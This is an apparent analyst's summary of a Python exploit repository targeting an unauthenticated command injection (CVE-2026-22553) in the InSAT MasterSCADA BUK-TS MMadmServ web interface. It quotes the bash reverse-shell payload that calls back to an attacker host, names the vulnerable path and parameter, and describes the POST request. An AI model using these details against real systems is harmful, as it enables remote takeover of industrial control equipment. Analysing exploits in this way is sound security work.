OS command injection in InSAT MasterSCADA BUK-TS MMadmServ web interface

This repository is a small standalone Python exploit repository containing one code file (exploit.py) and one README. The exploit targets an alleged unauthenticated OS command injection in the InSAT MasterSCADA BUK-TS MMadmServ web interface, identified as CVE-2026-22553. The script is not part of a larger exploitation framework. Structure and purpose: README.md documents the claimed vulnerability, usage syntax, and expected reverse-shell outcome. exploit.py is the sole executable component and serves as the entry point. It uses argparse to accept a target URL plus attacker callback parameters (--lhost and --lport), constructs a bash reverse-shell payload, and sends it in an HTTP POST request to the /MMadmServ path. Main exploit capability: The script attempts unauthenticated remote code execution by injecting shell metacharacters into the POST parameter named command. The injected payload is '; bash -i >& /dev/tcp/{lhost}/{lport} 0>&1', which is intended to force the target to open an interactive reverse shell back to the attacker. This makes the exploit operational rather than a pure detection PoC, although the vulnerable parameter is explicitly marked as a placeholder ('Common vulnerable field name (adjust if needed)'), which suggests the exploit may require manual adjustment for real-world use. Network behavior: The exploit performs a single outbound HTTP POST to {target}/MMadmServ with form data {'command': 'test<payload>', 'submit': '1'}. If successful, the target is expected to initiate a TCP connection to the attacker-supplied LHOST:LPORT. The script disables TLS certificate verification via verify=False and uses an 8-second timeout. Notable observations: There is no vulnerability verification logic, response parsing, authentication handling, target fingerprinting, or payload customization beyond the callback host and port. There is also no persistence, privilege escalation, or post-exploitation automation. Overall, this is a concise standalone RCE/reverse-shell exploit PoC aimed at a web-exposed industrial control/SCADA management interface.